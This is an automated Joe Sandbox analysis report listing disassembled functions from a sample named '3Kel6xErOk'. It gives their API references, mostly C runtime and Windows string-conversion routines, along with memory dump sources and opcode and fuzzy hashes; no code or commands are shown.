Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0040445E
char_traits.LIBCPMTD ref: 00404471
construct.LIBCPMTD ref: 004044A5

Strings

$A@, xrefs: 00404457, 0040445A

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWorkchar_traitsconstruct
String ID: $A@
API String ID: 4230972912-1606093050
Opcode ID: 9c7b4ba2ce32706b3779f7c11ca56e66761444e704fe065d58789717a2cafc5c
Instruction ID: 022141f6befa4bd3ed29f77a884dc97824b9d74f6bfd469c68719040df1735bb
Opcode Fuzzy Hash: 9c7b4ba2ce32706b3779f7c11ca56e66761444e704fe065d58789717a2cafc5c
Instruction Fuzzy Hash: 661133B1E002089BDB04EF95E852BAFB779AF84315F10813EF515772D1DA3969018B94

Function 00402590 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 004025EE
GetProcessHeap.KERNEL32(0000000C), ref: 004025CB

Part of subcall function 00444AB2: __onexit.LIBCMT ref: 00444AB8

__Init_thread_footer.LIBCMT ref: 0040264F

Strings

h|l, xrefs: 004025C1, 004025D2, 0040262E

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Init_thread_footer$HeapProcess__onexit
String ID: h|l
API String ID: 3832785197-2114672643
Opcode ID: 4a03e3bf64622f8010ec37f36a060414305073fe1eb5dbda02919b4ad2909bcf
Instruction ID: 3aff3d6b88200d5732682c58dd37f59cc787b8ed61d8abd34e3d02cd56ad13df
Opcode Fuzzy Hash: 4a03e3bf64622f8010ec37f36a060414305073fe1eb5dbda02919b4ad2909bcf
Instruction Fuzzy Hash: 18112CB1F4078097D200AB569D57E4E73939796714F010236F7011F2E1F9BD6809E25E

Function 100111CB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 100111DE

Part of subcall function 10011139: ___BuildCatchObjectHelper.LIBCMT ref: 1001116F

_UnwindNestedFrames.LIBCMT ref: 100111F5

Strings

csm, xrefs: 100111DA, 100111EF, 10011202, 10011220, 10011230
csm, xrefs: 100111CD

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: BuildCatchObject$FramesHelperNestedUnwind
String ID: csm$csm
API String ID: 3487967840-3733052814
Opcode ID: 2c433eeadeeff05f0d38dc95483bda366b925a4b7ec49010a466325f946cd4e4
Instruction ID: 13fce880b5995998a5e615debbc516f60a37a3f13fe80d83b25b8dab8ba688de
Opcode Fuzzy Hash: 2c433eeadeeff05f0d38dc95483bda366b925a4b7ec49010a466325f946cd4e4
Instruction Fuzzy Hash: B401FB3540110ABBDF169F51CC85EDA7F6AFF08394F004010FD5819121D776E9B1DBA0

Function 032B11CF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 032B11E2

Part of subcall function 032B113D: ___BuildCatchObjectHelper.LIBCMT ref: 032B1173

_UnwindNestedFrames.LIBCMT ref: 032B11F9

Strings

csm, xrefs: 032B11DE, 032B11F3, 032B1206, 032B1224, 032B1234
csm, xrefs: 032B11D1

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: BuildCatchObject$FramesHelperNestedUnwind
String ID: csm$csm
API String ID: 3487967840-3733052814
Opcode ID: 2c433eeadeeff05f0d38dc95483bda366b925a4b7ec49010a466325f946cd4e4
Instruction ID: eef085b53bcf4b4584d0e4f8f9fd9575f8188d2f623512e9684e8cd75fa78216
Opcode Fuzzy Hash: 2c433eeadeeff05f0d38dc95483bda366b925a4b7ec49010a466325f946cd4e4
Instruction Fuzzy Hash: 3801EF7942121ABBDF12AE51CC54EEA7F7AEF08394F048014BD5859120DBB6A9B1DBA0

Function 00418510 Relevance: 6.4, APIs: 4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ac852f42ffd968934b9a4a1069f389354f53c0ece36aeb0b0cde40c4a33c281
Instruction ID: 54c507777dad9478a1e9725deba06b3a3150aa88bdb8bcbf32411a4c6af09f0e
Opcode Fuzzy Hash: 2ac852f42ffd968934b9a4a1069f389354f53c0ece36aeb0b0cde40c4a33c281
Instruction Fuzzy Hash: 3A021AB1905228EBCB24DFA4CD89AE9B7B1AF48304F1041DEE509A7291DB385FC5CF59

Function 00440EC0 Relevance: 6.3, APIs: 4, Instructions: 320threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00440F0A

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 18d0dbafcedeb6caebf2cbce88500c325ceeb0f47d686c31b01ba217d251acb0
Instruction ID: 5c8abfa6211aa376535b53e805f09fb0c3b80d2fe7d0f5696d8ff41d23fb10bc
Opcode Fuzzy Hash: 18d0dbafcedeb6caebf2cbce88500c325ceeb0f47d686c31b01ba217d251acb0
Instruction Fuzzy Hash: 52E13874D00209DFEB14CF94C984BEEBBB1BF48304F20815AE905AB350D779AA95CF95

Function 00409690 Relevance: 6.2, APIs: 4, Instructions: 215COMMON

Download Yara Rule

APIs

Concurrency::details::HardwareAffinity::operator!=.LIBCMTD ref: 004096EE
Concurrency::details::HardwareAffinity::operator!=.LIBCMTD ref: 004097D6

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Affinity::operator!=Concurrency::details::Hardware
String ID:
API String ID: 264382594-0
Opcode ID: e4c47b8f926cf7568df18d65b9bf1609c1d8f1a0499835e365048ccaa51f63c9
Instruction ID: 7a253004ee57e813f6e3492d74e9af8c82968c8b81dca00f9f9d481de7fc5c26
Opcode Fuzzy Hash: e4c47b8f926cf7568df18d65b9bf1609c1d8f1a0499835e365048ccaa51f63c9
Instruction Fuzzy Hash: 7E91EE74E001098FDB08DF95C892BBEB7B2BF89314F14416DE6196B3D2CB356881CB95

Function 00426C1D Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00426C39
new.LIBCMT ref: 00426C82

Part of subcall function 0044482C: Concurrency::cancel_current_task.LIBCPMT ref: 00444844

new.LIBCMT ref: 00426CCB
new.LIBCMT ref: 00426D14

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 4ea6af09a654b210637d04d635806642bc29ede594cb88739e4a5363e73eb560
Instruction ID: 9a6f5ff8b2b99ddbc17f60359a8bfe213fc0cf6e69ec6b9f2c30ebd7ace0bb0b
Opcode Fuzzy Hash: 4ea6af09a654b210637d04d635806642bc29ede594cb88739e4a5363e73eb560
Instruction Fuzzy Hash: E451C3B4E00208DBDB14DF99D991AADBBB1BF48314F20822EE515AB391D775A902CF54

Function 00424630 Relevance: 6.1, APIs: 4, Instructions: 134COMMON

Download Yara Rule

APIs

Part of subcall function 004206C0: allocator.LIBCPMTD ref: 004206FC

_Enable_shared_from_this.LIBCPMTD ref: 004246E3
_Enable_shared_from_this.LIBCPMTD ref: 00424706

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Enable_shared_from_this$allocator
String ID:
API String ID: 3891925537-0
Opcode ID: d8d6e14332086c967c974f4561f29c5d8882bdf8e99dbc7cd711ab57de2b583a
Instruction ID: a4e2e730bb2f35b47edea7d9f55b59719dd6a28092a9bca55c5a4002db05ffda
Opcode Fuzzy Hash: d8d6e14332086c967c974f4561f29c5d8882bdf8e99dbc7cd711ab57de2b583a
Instruction Fuzzy Hash: DE418775B00124AFCB04EBD5E890BAEB7F5AFC4308F50409EE106A7342DB38AE41DB95

Function 10014A25 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 10014A59
__isleadbyte_l.LIBCMT ref: 10014A8C
MultiByteToWideChar.KERNEL32(39858D00,00000009,?,C4830000,?,00000000,?,?,?,100013C8,?,grams), ref: 10014ABD
MultiByteToWideChar.KERNEL32(39858D00,00000009,?,00000001,?,00000000,?,?,?,100013C8,?,grams), ref: 10014B2B

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: af4ae635bc1a6c5b9520639113cb03c657ddf4de72e7d3a9bcded98ead903cf4
Instruction ID: 68850b2554d5d5f992d4f98ce77fb82b49c6c0d64f95470cd521bd8ccef0272d
Opcode Fuzzy Hash: af4ae635bc1a6c5b9520639113cb03c657ddf4de72e7d3a9bcded98ead903cf4
Instruction Fuzzy Hash: C631D231A40286EFDB10CF64C895AAD3BF5EF01291F5B85A9F4608F0A1DB70DD80DB56

Function 032B4A29 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 032B4A5D
__isleadbyte_l.LIBCMT ref: 032B4A90
MultiByteToWideChar.KERNEL32(00000080,00000009,032AADCF,?,00000000,00000000,?,?,?,?,032AADCF,00000000), ref: 032B4AC1
MultiByteToWideChar.KERNEL32(00000080,00000009,032AADCF,00000001,00000000,00000000,?,?,?,?,032AADCF,00000000), ref: 032B4B2F

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 8c72fa43da4b4695d9512640b885080e028b736949950718b94da1c77f91feec
Instruction ID: b464683f3bae09c261afdeac456a2b51f6866a5a6b327ab19a1cc72e42d77968
Opcode Fuzzy Hash: 8c72fa43da4b4695d9512640b885080e028b736949950718b94da1c77f91feec
Instruction Fuzzy Hash: FD31E231A20256EFDB20EF65C8E5DFE7BB5AF01390B0885A9E0649B192D770D9C0DB54

Function 0041A900 Relevance: 6.1, APIs: 4, Instructions: 82windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0041A92C
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041A975

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Message$Peek
String ID:
API String ID: 1494839224-0
Opcode ID: fde16e60e8edb7ea7ac43dfb62073f1a901f11b9c1bc1cceb45900eff2866001
Instruction ID: c1d5b8d0fc8493debdd7872abdb76503fec7967cb86fca6d76b7882f465c3967
Opcode Fuzzy Hash: fde16e60e8edb7ea7ac43dfb62073f1a901f11b9c1bc1cceb45900eff2866001
Instruction Fuzzy Hash: 57311CB0A01209EFDB10DF98C945BAEBBB5AF44304F208599E505A7382C778AF90DF56

Function 00433381 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 004333A8

Part of subcall function 0041BD90: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0041BDB9

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?,?,?,?,?,?,?,00439FF4), ref: 004333B4
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 004333E2
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?,?,?,?,?,?,?,?,00439FF4), ref: 004333EF

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: ByteCharContainer_base12Container_base12::~_MultiWidestd::_$Base::Concurrency::details::ContextIdentityQueueWork
String ID:
API String ID: 3142446926-0
Opcode ID: 26e86fd105387721049f756644b6bd17ba0d527545af2041d59c513f2ff4c98b
Instruction ID: 3b5749266171aac343f05fbf79672d92a08a9bba04fc0d95656a7a5919db6aad
Opcode Fuzzy Hash: 26e86fd105387721049f756644b6bd17ba0d527545af2041d59c513f2ff4c98b
Instruction Fuzzy Hash: 6F119671B012086FDB14EF7AAC959FEB7ADDB88314B10052FB916E72C1DE385D044668

Function 00433434 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0043345D

Part of subcall function 004140C0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004140E9

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 00433469
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0043348D
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 0043349A

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: ByteCharContainer_base12Container_base12::~_MultiWidestd::_$Base::Concurrency::details::ContextIdentityQueueWork
String ID:
API String ID: 3142446926-0
Opcode ID: c448a27f1449c59a9c51bef631eb44b93260c351c7b0ae319d75a8f14e1e6d61
Instruction ID: 5f23f97f2cc8cc2910106984fe8fd0f23ffdb0a1df41ff347bcb8d79971427cc
Opcode Fuzzy Hash: c448a27f1449c59a9c51bef631eb44b93260c351c7b0ae319d75a8f14e1e6d61
Instruction Fuzzy Hash: 6211B670A012086FEB14AFA6AC85FFF77ADDF89324F14022FB515A72C1CE285D448669

Function 00414530 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00414561

Part of subcall function 00414980: std::_Ref_count_base::_Ref_count_base.LIBCMTD ref: 0041498C
Part of subcall function 00414980: Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 004149C4

Part of subcall function 00411170: std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 0041117A

_Resetp0.LIBCMTD ref: 004145C3

Part of subcall function 004149E0: _Ptr_base.LIBCMTD ref: 004149F2

shared_ptr.LIBCPMTD ref: 004145CF

Part of subcall function 004141C0: Concurrency::details::QuickBitSet::QuickBitSet.LIBCMTD ref: 004141F6

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 004145E7

Part of subcall function 004110A0: _Ptr_base.LIBCMTD ref: 004110C9

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: std::_$ProcessorPtr_baseQuickVirtual$Concurrency::Concurrency::details::Container_base12Container_base12::~_Iterator_baseIterator_base::_Ref_count_baseRef_count_base::_Resetp0RootRoot::Set::shared_ptr
String ID:
API String ID: 1537779161-0
Opcode ID: a56a8566785b01632d877b7c00f51d6bf9bb707ca70b6bc0d024109605b614ed
Instruction ID: fb849f42c4766e30e69949ee6e32a9f62b992184a8b161f8460e88ce93005ae2
Opcode Fuzzy Hash: a56a8566785b01632d877b7c00f51d6bf9bb707ca70b6bc0d024109605b614ed
Instruction Fuzzy Hash: D6210CB0D00149AFDB04DFA5D952BEEBBB4FB48314F10422EE515A72D0DB396A45CB94

Function 00441AE0 Relevance: 6.1, APIs: 4, Instructions: 56threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00441AF9

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: bbbaa74b75f45ee819c503883db03986ad0bd51f8b1913be54cc33492034c556
Instruction ID: 4c9f2f715298ea54a5b16ccc785cacf5457202720eb46160aae34d841d2341b9
Opcode Fuzzy Hash: bbbaa74b75f45ee819c503883db03986ad0bd51f8b1913be54cc33492034c556
Instruction Fuzzy Hash: D0211D74D01208EFEB00DFA4D9847AEBBB2FF44300F20855AE4059B3A0EB756B85DB95

